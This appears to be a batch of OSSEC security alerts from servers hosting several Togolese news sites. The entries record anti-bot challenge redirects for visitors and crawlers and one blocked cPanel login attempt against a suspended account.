34.123.170.104 - - [09/Jun/2026:21:40:47 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10379416&pdata=http%253A%252F%252Fl3cgzg.mediatopnews.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781041242 HTTP/1.1" 302 0 l3cgzg.mediatopnews.tg "http://l3cgzg.mediatopnews.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.123.170.104


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.65.237.227
country_id: 1643084
description:
[2026-06-09 21:41:38 +0000] info [cpaneld] 103.65.237.227 - czqxxxnu "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: User czqxxxnu has their account suspended. Login blocked.


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.170
country_id: 1880251
description:
47.128.96.170 - - [09/Jun/2026:21:42:39 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12950377&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fglobal-trade-corporation%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781041358 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/global-trade-corporation/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.170


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 43.163.5.204
country_id: 1880251
description:
43.163.5.204 - - [09/Jun/2026:21:44:33 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10197659&pdata=https%253A%252F%252Flaunetogo.tg%252Fparlement-cedeao-lome-epicentre-dune-rencontre-pour-lenseignement-a-distance-dans-les-pays-membres%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781041471 HTTP/2.0" 302 0 launetogo.tg "https://launetogo.tg/parlement-cedeao-lome-epicentre-dune-rencontre-pour-lenseignement-a-distance-dans-les-pays-membres/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.163.5.204


